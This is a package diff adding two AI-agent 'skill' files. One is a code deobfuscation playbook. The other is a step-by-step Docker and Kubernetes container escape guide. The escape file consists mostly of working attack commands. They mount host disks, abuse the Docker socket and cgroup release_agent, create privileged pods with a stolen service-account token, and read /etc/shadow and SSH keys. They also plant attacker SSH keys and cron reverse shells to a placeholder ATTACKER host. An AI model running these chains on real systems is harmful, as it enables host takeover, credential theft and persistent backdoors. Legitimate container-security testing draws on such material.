ineedcodes 1.6.1 → 1.7.0

package/skills/code-obfuscation-deobfuscation/SKILL.md

@@ -0,0 +1,391 @@
+---
+name: code-obfuscation-deobfuscation
+description: >-
+  Code obfuscation analysis and deobfuscation playbook. Use when reversing
+  binaries protected by junk code, opaque predicates, self-modifying code,
+  control flow flattening, VM protection, or string encryption.gated: true
+---
+
+# SKILL: Code Obfuscation & Deobfuscation — Expert Analysis Playbook
+
+> **AI LOAD INSTRUCTION**: Expert techniques for identifying, classifying, and defeating code obfuscation in native binaries. Covers junk code, opaque predicates, SMC, control flow flattening, movfuscator, VM protectors (VMProtect/Themida/Code Virtualizer), string encryption, import hiding, and anti-disassembly tricks. Base models often conflate packing with obfuscation and miss the distinction between static and dynamic deobfuscation strategies.
+
+## 0. RELATED ROUTING
+
+- [anti-debugging-techniques](../anti-debugging-techniques/SKILL.md) when the obfuscated binary also has anti-debug layers
+- [symbolic-execution-tools](../symbolic-execution-tools/SKILL.md) when using angr/Z3 for automated deobfuscation
+- [vm-and-bytecode-reverse](../vm-and-bytecode-reverse/SKILL.md) for deep VM protector bytecode analysis
+
+### Quick identification picks
+
+| Symptom in IDA/Ghidra | Likely Obfuscation | Start With |
+|---|---|---|
+| Flat CFG, single giant switch | Control flow flattening | Symbolic execution to recover CFG |
+| Only `mov` instructions | movfuscator | demovfuscation / trace-based lifting |
+| pushad/pushfd → VM entry | VM protector | Handler table extraction |
+| XOR loop before code execution | SMC / string encryption | Dynamic analysis, breakpoint after decode |
+| Impossible conditions (opaque predicates) | Junk code insertion | Pattern-based removal |
+| All strings unreadable | String encryption | Hook decryption routine, or emulate |
+| No imports in IAT | Import hiding | Trace GetProcAddress / hash resolution |
+
+---
+
+## 1. JUNK CODE & OPAQUE PREDICATES
+
+### 1.1 Junk Code Insertion
+
+Dead code that never affects program output, added to increase analysis time.
+
+**Identification**:
+- Instructions that write to registers/memory never read afterward
+- Function calls whose return values are discarded and have no side effects
+- Loops with invariant bounds that compute unused results
+
+**Removal strategy**:
+1. Compute def-use chains (IDA/Ghidra data flow analysis)
+2. Mark instructions with no downstream use as dead
+3. Verify removal doesn't change program behavior (trace comparison)
+
+### 1.2 Opaque Predicates
+
+Conditional branches where the condition is always true or always false, but this is non-obvious.
+
+| Type | Example | Always Evaluates To |
+|---|---|---|
+| Arithmetic | `x² ≥ 0` | True |
+| Number theory | `x*(x+1) % 2 == 0` | True (product of consecutive ints) |
+| Pointer-based | `ptr == ptr` after aliasing | True |
+| Hash-based | `CRC32(constant) == known_value` | True |
+
+**Deobfuscation**:
+- Abstract interpretation: prove the condition is constant
+- Symbolic execution: Z3 proves `∀x: predicate(x) = True`
+- Pattern matching: recognize known opaque predicate families
+- Dynamic: trace and observe the branch is never taken / always taken
+
+```python
+import z3
+x = z3.BitVec('x', 32)
+s = z3.Solver()
+s.add(x * (x + 1) % 2 != 0)
+print(s.check())  # unsat → always true
+```
+
+---
+
+## 2. SELF-MODIFYING CODE (SMC)
+
+Runtime code patching: encrypted code is decrypted just before execution.
+
+### 2.1 XOR Decryption Loop (Most Common)
+
+```asm
+lea esi, [encrypted_code]
+mov ecx, code_length
+mov al, xor_key
+decrypt_loop:
+    xor byte [esi], al
+    inc esi
+    loop decrypt_loop
+    jmp encrypted_code  ; now decrypted
+```
+
+### 2.2 Analysis Strategy
+
+```
+1. Identify the decryption routine (look for XOR/ADD/SUB in loops writing to .text)
+2. Set breakpoint AFTER the loop completes
+3. At breakpoint: dump the decrypted memory region
+4. Re-analyze the dumped code in IDA/Ghidra
+5. For multi-layer: repeat for each decryption stage
+```
+
+### 2.3 Automated Unpacking via Emulation
+
+```python
+from unicorn import *
+from unicorn.x86_const import *
+
+mu = Uc(UC_ARCH_X86, UC_MODE_32)
+mu.mem_map(0x400000, 0x10000)
+mu.mem_write(0x400000, binary_code)
+mu.emu_start(decrypt_entry, decrypt_end)
+decrypted = mu.mem_read(code_start, code_length)
+```
+
+---
+
+## 3. CONTROL FLOW FLATTENING (CFF)
+
+### 3.1 Structure
+
+Original sequential blocks are transformed into a dispatcher loop:
+
+```
+Original:      A → B → C → D
+
+Flattened:     ┌──────────────────┐
+               │   dispatcher     │
+               │   switch(state)  │◄─────┐
+               ├──────────────────┤      │
+               │ case 1: block A  │──────┤
+               │ case 2: block B  │──────┤
+               │ case 3: block C  │──────┤
+               │ case 4: block D  │──────┘
+               └──────────────────┘
+```
+
+Each block sets `state = next_state` before jumping back to the dispatcher.
+
+### 3.2 Recovery Techniques
+
+| Technique | Tool | Effectiveness |
+|---|---|---|
+| Symbolic execution | angr, Triton, miasm | High — traces all state transitions |
+| Trace-based recovery | Pin/DynamoRIO trace → reconstruct CFG | Medium — covers executed paths only |
+| Pattern matching | Custom IDA/Ghidra script | Medium — works for known flatteners |
+| D-810 (IDA plugin) | IDA Pro | High — specifically designed for CFF |
+
+### 3.3 Symbolic Deflattening (angr approach)
+
+```python
+import angr, claripy
+
+proj = angr.Project('./obfuscated')
+cfg = proj.analyses.CFGFast()
+
+# Find dispatcher block (highest in-degree basic block)
+dispatcher = max(cfg.graph.nodes(), key=lambda n: cfg.graph.in_degree(n))
+
+# For each case block, symbolically determine successor
+for block in case_blocks:
+    state = proj.factory.blank_state(addr=block.addr)
+    # ... solve state variable to find real successor
+```
+
+---
+
+## 4. MOVFUSCATOR
+
+### 4.1 Concept
+
+All computation reduced to `mov` instructions only (Turing-complete via memory-mapped computation tables). Created by Christopher Domas.
+
+### 4.2 Identification
+
+- Function contains only `mov` instructions (no add, sub, xor, jmp, call)
+- Large lookup tables in data section
+- Memory-mapped flag registers
+
+### 4.3 Demovfuscation
+
+| Approach | Description |
+|---|---|
+| demovfuscator (tool) | Static analysis, recovers original operations from mov patterns |
+| Trace + taint analysis | Run with Pin/DynamoRIO, taint inputs, observe computation |
+| Symbolic execution | Treat entire function as constraint system |
+
+---
+
+## 5. VM PROTECTION (VMProtect / Themida / Code Virtualizer)
+
+### 5.1 VM Architecture
+
+```
+Protected code → bytecode compiler → custom bytecode
+Runtime: VM entry (pushad/pushfd) → fetch → decode → execute → VM exit (popad/popfd)
+```
+
+### 5.2 VM Entry Point Identification
+
+```asm
+; Typical VMProtect entry
+pushad                    ; save all registers
+pushfd                    ; save flags
+mov ebp, esp              ; VM stack frame
+sub esp, VM_LOCALS_SIZE   ; allocate VM context
+mov esi, bytecode_addr    ; bytecode instruction pointer
+jmp vm_dispatcher         ; enter VM loop
+```
+
+### 5.3 Handler Table Extraction
+
+```
+1. Find dispatcher (large switch or indirect jump via table)
+2. Each case/entry = one VM handler (implements one VM opcode)
+3. Map handler addresses to operations by analyzing each handler:
+   - Handler reads operand from bytecode stream (esi)
+   - Performs operation on VM registers/stack
+   - Advances bytecode pointer
+   - Returns to dispatcher
+```
+
+### 5.4 Devirtualization Approaches
+
+| Method | Description | Tool |
+|---|---|---|
+| Manual handler mapping | Reverse each handler, build ISA spec | IDA + scripting |
+| Trace recording | Record all handler executions, reconstruct program | REVEN, Pin |
+| Symbolic lifting | Symbolically execute handlers, lift to IR | Triton, miasm |
+| Pattern matching | Match handler patterns to known VM families | Custom scripts |
+
+### 5.5 VMProtect Specifics
+
+- Uses opaque predicates in dispatcher
+- Handler mutation: same opcode, different handler code per build
+- Multiple VM layers (VM inside VM)
+- Integrates anti-debug and integrity checks
+
+---
+
+## 6. STRING ENCRYPTION
+
+### 6.1 Common Patterns
+
+| Pattern | Example | Recovery |
+|---|---|---|
+| XOR loop | `for (i=0; i<len; i++) s[i] ^= key;` | Hook or emulate XOR function |
+| Stack strings | `mov [esp+0], 'H'; mov [esp+1], 'e'; ...` | IDA FLIRT / Ghidra script to reassemble |
+| RC4 encrypted | Encrypted blob + RC4 key in binary | Extract key, decrypt offline |
+| AES encrypted | Encrypted blob + AES key derived at runtime | Hook after decryption |
+| Custom encoding | Base64 + XOR + reverse | Trace the decode function, replicate |
+
+### 6.2 Automated String Decryption
+
+```python
+# Ghidra script: find XOR decryption calls, emulate them
+from ghidra.program.model.symbol import SourceType
+
+decrypt_func = getFunction("decrypt_string")
+refs = getReferencesTo(decrypt_func.getEntryPoint())
+
+for ref in refs:
+    call_addr = ref.getFromAddress()
+    # extract arguments (encrypted buffer ptr, key, length)
+    # emulate decryption, add comment with plaintext
+```
+
+---
+
+## 7. IMPORT HIDING
+
+### 7.1 GetProcAddress + Hash Lookup
+
+```c
+FARPROC resolve(DWORD hash) {
+    // Walk PEB → LDR → InMemoryOrderModuleList
+    // For each DLL, walk export table
+    // Hash each export name, compare with target hash
+    // Return matching function pointer
+}
+```
+
+### 7.2 Recovery
+
+1. Identify the hash algorithm (common: CRC32, djb2, ROR13+ADD)
+2. Compute hashes for all known API names
+3. Build hash → API name lookup table
+4. Annotate resolved calls in IDA/Ghidra
+
+### 7.3 Common Hash Algorithms
+
+| Name | Algorithm | Used By |
+|---|---|---|
+| ROR13 | `hash = (hash >> 13 \| hash << 19) + char` | Metasploit shellcode |
+| djb2 | `hash = hash * 33 + char` | Various malware |
+| CRC32 | Standard CRC32 of function name | Sophisticated packers |
+| FNV-1a | `hash = (hash ^ char) * 0x01000193` | Modern malware |
+
+---
+
+## 8. ANTI-DISASSEMBLY TRICKS
+
+### 8.1 Techniques
+
+| Trick | Mechanism | Fix |
+|---|---|---|
+| Overlapping instructions | `jmp $+2; db 0xE8` (fake call prefix) | Manual re-analysis from correct offset |
+| Misaligned jumps | Jump into middle of multi-byte instruction | Force IDA to re-analyze at target |
+| Conditional jump pair | `jz $+5; jnz $+3` (always jumps, confuses linear disasm) | Convert to unconditional jmp |
+| Return address manipulation | `push addr; ret` instead of `jmp addr` | Recognize push+ret as jump |
+| Exception-based flow | Trigger exception, real code in handler | Analyze exception handler chain |
+| Call + add [esp] | `call $+5; add [esp], N; ret` (computed jump) | Calculate actual target |
+
+### 8.2 IDA Fixes
+
+```
+Right-click → Undefine (U)
+Right-click → Code (C) at correct offset
+Edit → Patch → Assemble (for permanent fix)
+```
+
+---
+
+## 9. DECISION TREE
+
+```
+Obfuscated binary — how to approach?
+│
+├─ Can you run it?
+│  ├─ Yes → Dynamic analysis first
+│  │  ├─ Set BP on interesting APIs (file, network, crypto)
+│  │  ├─ Trace execution to understand real behavior
+│  │  └─ Dump decrypted code/strings at runtime
+│  │
+│  └─ No (embedded/firmware/exotic arch) → Static only
+│     └─ Identify obfuscation type from patterns below
+│
+├─ What does the code look like?
+│  │
+│  ├─ Giant flat switch/dispatcher loop?
+│  │  ├─ State variable drives control flow → CFF
+│  │  │  └─ Use D-810 or symbolic deflattening
+│  │  └─ Bytecode fetch-decode-execute → VM protection
+│  │     └─ Extract handlers, build disassembler
+│  │
+│  ├─ Only mov instructions?
+│  │  └─ movfuscator → demovfuscator tool
+│  │
+│  ├─ XOR/ADD loop writing to .text section?
+│  │  └─ SMC → breakpoint after decode, dump
+│  │
+│  ├─ Impossible conditions in branches?
+│  │  └─ Opaque predicates → Z3 proving or pattern removal
+│  │
+│  ├─ Disassembly looks wrong / functions overlap?
+│  │  └─ Anti-disassembly → manual re-analysis at correct offsets
+│  │
+│  ├─ No readable strings?
+│  │  └─ String encryption → hook decrypt function or emulate
+│  │
+│  ├─ No imports in IAT?
+│  │  └─ Import hiding → identify hash, build lookup table
+│  │
+│  └─ pushad/pushfd → complex code → popad/popfd?
+│     └─ VM protector entry/exit → full VM analysis
+│
+└─ What tool to use?
+   ├─ Known protector (VMProtect/Themida) → specific deprotection guide
+   ├─ Custom obfuscation → combine: IDA scripting + Triton + manual
+   ├─ CTF challenge → angr symbolic execution often fastest
+   └─ Malware analysis → dynamic (debugger + API monitor) first
+```
+
+---
+
+## 10. TOOLBOX
+
+| Tool | Purpose | Best For |
+|---|---|---|
+| IDA Pro + Hex-Rays | Disassembly, decompilation, scripting | All-around analysis |
+| Ghidra | Free alternative with scripting (Java/Python) | Budget-friendly RE |
+| D-810 (IDA plugin) | Automated CFF deflattening | OLLVM-style obfuscation |
+| miasm | IR-based analysis framework | Symbolic deobfuscation |
+| Triton | Dynamic symbolic execution | Opaque predicate solving, CFF |
+| REVEN | Full-system trace recording and replay | VM protector analysis |
+| demovfuscator | movfuscator reversal | mov-only binaries |
+| x64dbg + plugins | Dynamic analysis with scripting | Windows RE |
+| Unicorn Engine | CPU emulation | SMC unpacking, shellcode |
+| Capstone | Disassembly library | Custom tooling |
+| IDA FLIRT | Function signature matching | Identify library code in stripped binaries |
+| Binary Ninja | Alternative disassembler with MLIL/HLIL | Automated analysis |

package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md

@@ -0,0 +1,296 @@
+# Docker Escape Chains & Kubernetes Escape Paths
+
+> **AI LOAD INSTRUCTION**: Load this for step-by-step container escape chains covering common misconfigurations, Docker-in-Docker scenarios, and Kubernetes-specific escape sequences. Assumes the main [SKILL.md](./SKILL.md) is already loaded for fundamental escape techniques.
+
+---
+
+## 1. ESCAPE CHAIN: PRIVILEGED CONTAINER → HOST ROOT
+
+### 1.1 Full Chain (Mount + Chroot)
+
+```bash
+# Step 1: Confirm privileged mode
+cat /proc/self/status | grep CapEff
+# Expected: 0000003fffffffff (or 000001ffffffffff on newer kernels)
+
+# Step 2: Identify host disk
+fdisk -l 2>/dev/null
+# /dev/sda1 (typical VM) or /dev/nvme0n1p1 (cloud)
+
+# Step 3: Mount host root
+mkdir -p /mnt/hostroot
+mount /dev/sda1 /mnt/hostroot
+
+# Step 4: Chroot to host
+chroot /mnt/hostroot bash
+
+# Step 5: Persistence — add SSH key
+mkdir -p /root/.ssh
+echo "ssh-rsa AAAA... attacker@box" >> /root/.ssh/authorized_keys
+
+# Step 6: Clean up (optional — remove chroot artifacts)
+exit
+umount /mnt/hostroot
+```
+
+### 1.2 Full Chain (nsenter — Cleaner)
+
+```bash
+# Step 1: Confirm privileged + host PID visibility
+ls /proc/1/root/etc/hostname
+# If readable → host PID namespace is shared or we're privileged
+
+# Step 2: nsenter into all host namespaces
+nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
+
+# Step 3: Now running in host context
+whoami    # root
+hostname  # host hostname
+```
+
+---
+
+## 2. ESCAPE CHAIN: DOCKER SOCKET → HOST ROOT
+
+### 2.1 With Docker CLI Available
+
+```bash
+# Step 1: Confirm socket access
+ls -la /var/run/docker.sock
+docker ps    # list running containers
+
+# Step 2: Launch privileged escape container
+docker run -d --privileged --pid=host \
+  -v /:/hostfs \
+  --name escape alpine sleep 3600
+
+# Step 3: Exec into escape container
+docker exec -it escape chroot /hostfs bash
+
+# Step 4: Persistence
+echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys
+# Or add cron backdoor:
+echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /etc/crontab
+
+# Step 5: Cleanup
+exit
+docker rm -f escape
+```
+
+### 2.2 Without Docker CLI (curl Only)
+
+```bash
+# Step 1: List images available on host
+curl -s --unix-socket /var/run/docker.sock http://localhost/images/json \
+  | python3 -c "import sys,json; [print(i['RepoTags']) for i in json.load(sys.stdin)]"
+
+# Step 2: Create container
+CONTAINER_ID=$(curl -s --unix-socket /var/run/docker.sock \
+  -X POST http://localhost/containers/create \
+  -H "Content-Type: application/json" \
+  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
+       "HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
+  | python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])")
+
+# Step 3: Start container
+curl -s --unix-socket /var/run/docker.sock \
+  -X POST "http://localhost/containers/${CONTAINER_ID}/start"
+
+# Step 4: Exec command (read host shadow)
+EXEC_ID=$(curl -s --unix-socket /var/run/docker.sock \
+  -X POST "http://localhost/containers/${CONTAINER_ID}/exec" \
+  -H "Content-Type: application/json" \
+  -d '{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}' \
+  | python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])")
+
+curl -s --unix-socket /var/run/docker.sock \
+  -X POST "http://localhost/exec/${EXEC_ID}/start" \
+  -H "Content-Type: application/json" \
+  -d '{"Tty":true}'
+
+# Step 5: Cleanup
+curl -s --unix-socket /var/run/docker.sock \
+  -X DELETE "http://localhost/containers/${CONTAINER_ID}?force=true"
+```
+
+---
+
+## 3. ESCAPE CHAIN: CGROUP RELEASE_AGENT → HOST COMMAND EXECUTION
+
+```bash
+# Step 1: Confirm cgroup v1 + CAP_SYS_ADMIN
+mount | grep cgroup
+# Look for "cgroup" (not "cgroup2")
+grep CapEff /proc/self/status
+# Need at minimum CAP_SYS_ADMIN
+
+# Step 2: Find writable cgroup mount
+d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))
+[ -z "$d" ] && echo "No writable cgroup found" && exit 1
+
+# Step 3: Create a child cgroup
+mkdir -p "$d/escape"
+
+# Step 4: Enable release notification
+echo 1 > "$d/escape/notify_on_release"
+
+# Step 5: Set release_agent to our script on host
+host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
+# Alternative if perdir not found:
+[ -z "$host_path" ] && host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
+echo "$host_path/cmd" > "$d/release_agent"
+
+# Step 6: Create the command script (executed on HOST)
+cat > /cmd << 'EOF'
+#!/bin/sh
+id > /output
+cat /etc/hostname >> /output
+cat /etc/shadow >> /output
+EOF
+chmod +x /cmd
+
+# Step 7: Trigger — add process to cgroup then exit
+sh -c "echo \$\$ > $d/escape/cgroup.procs"
+sleep 2
+
+# Step 8: Read results
+cat /output
+```
+
+---
+
+## 4. DOCKER-IN-DOCKER (DinD) ESCAPE
+
+### 4.1 Nested Docker → Host
+
+```bash
+# Scenario: running inside a DinD container that has its own Docker daemon
+# The inner Docker socket controls the DinD daemon, not the host
+
+# Step 1: Check which Docker we're talking to
+docker info 2>/dev/null | grep "Docker Root Dir"
+# /var/lib/docker → inner daemon
+# Different path → might be host socket
+
+# Step 2: Look for host socket mount
+find / -name "docker.sock" 2>/dev/null
+# /var/run/docker.sock → could be host's
+# /run/docker.sock → inner daemon's
+
+# Step 3: If inner DinD is privileged against the HOST:
+# The DinD container itself can see host devices
+fdisk -l 2>/dev/null
+# If host disk visible → mount it
+
+# Step 4: Escape through the layers
+# Inner container → DinD container (via DinD socket) → Host (via privileged mount)
+```
+
+### 4.2 DinD with Host Docker Socket Forwarded
+
+```bash
+# Common CI/CD pattern: DinD with -v /var/run/docker.sock:/var/run/docker.sock
+# This means the DinD container controls the HOST Docker daemon
+
+# Step 1: From inside inner container, if Docker socket is accessible:
+docker -H unix:///var/run/docker.sock run -v /:/host --privileged alpine chroot /host bash
+
+# Step 2: This new container runs on the HOST with full access
+```
+
+---
+
+## 5. KUBERNETES-SPECIFIC ESCAPE PATHS
+
+### 5.1 Privileged Pod → Node
+
+```bash
+# Step 1: Confirm in Kubernetes
+ls /var/run/secrets/kubernetes.io/serviceaccount/
+cat /etc/hostname    # pod name format
+
+# Step 2: If pod is privileged
+nsenter --target 1 --mount --uts --ipc --net --pid -- bash
+# Now on the Kubernetes node
+
+# Step 3: From node, access kubelet credentials
+cat /var/lib/kubelet/config.yaml
+ls /etc/kubernetes/pki/    # cluster certificates
+```
+
+### 5.2 Service Account → Privileged Pod Creation
+
+```bash
+# Step 1: Read current SA token
+TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
+CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
+NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
+API="https://kubernetes.default.svc"
+
+# Step 2: Check permissions
+curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
+  -H "Authorization: Bearer $TOKEN" \
+  -H "Content-Type: application/json" \
+  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NS\"}}"
+
+# Step 3: If can create pods → create privileged escape pod
+curl -sk "$API/api/v1/namespaces/$NS/pods" \
+  -H "Authorization: Bearer $TOKEN" \
+  -H "Content-Type: application/json" \
+  -d '{
+    "apiVersion": "v1",
+    "kind": "Pod",
+    "metadata": {"name": "escape-pod"},
+    "spec": {
+      "hostPID": true,
+      "hostNetwork": true,
+      "containers": [{
+        "name": "escape",
+        "image": "alpine",
+        "command": ["/bin/sh","-c","nsenter --target 1 --mount --uts --ipc --net --pid -- bash -c \"cat /etc/shadow > /tmp/shadow\"; sleep 3600"],
+        "securityContext": {"privileged": true},
+        "volumeMounts": [{"name":"hostfs","mountPath":"/host"}]
+      }],
+      "volumes": [{"name":"hostfs","hostPath":{"path":"/"}}]
+    }
+  }'
+
+# Step 4: Exec into escape pod
+curl -sk "$API/api/v1/namespaces/$NS/pods/escape-pod/exec?command=/bin/sh&stdin=true&stdout=true&tty=true" \
+  -H "Authorization: Bearer $TOKEN" \
+  -H "Upgrade: websocket" \
+  -H "Connection: Upgrade"
+```
+
+### 5.3 hostPath Volume → Node Filesystem
+
+```bash
+# If pod has a hostPath volume mounted (even non-privileged):
+# Step 1: Check mounts
+mount | grep -v "overlay\|tmpfs\|proc\|cgroup"
+
+# Step 2: If /host or similar exists:
+ls /host/etc/shadow      # Read node's shadow
+cat /host/root/.ssh/id_rsa   # SSH keys
+
+# Step 3: Write to host for persistence
+echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /host/etc/crontab
+```
+
+---
+
+## 6. ESCAPE CHAIN SELECTION MATRIX
+
+| Available Condition | Best Escape Chain | Section |
+|---|---|---|
+| `--privileged` flag | Mount host disk + chroot | §1.1 |
+| `--privileged` + hostPID | nsenter -t 1 | §1.2 |
+| Docker socket mounted | Create privileged container | §2 |
+| CAP_SYS_ADMIN + cgroup v1 | release_agent write | §3 |
+| CAP_SYS_PTRACE + hostPID | Process injection | SKILL.md §3.2 |
+| CAP_DAC_READ_SEARCH | Shocker (open_by_handle_at) | SKILL.md §3.4 |
+| K8s SA with pod/create RBAC | Create privileged pod | §5.2 |
+| K8s hostPath volume | Read/write node filesystem | §5.3 |
+| Vulnerable kernel | Kernel exploit | linux-privilege-escalation |
+| Vulnerable runc (<1.0.0-rc6) | CVE-2019-5736 | SKILL.md §8 |
+| DinD with host socket | Double-hop escape | §4.2 |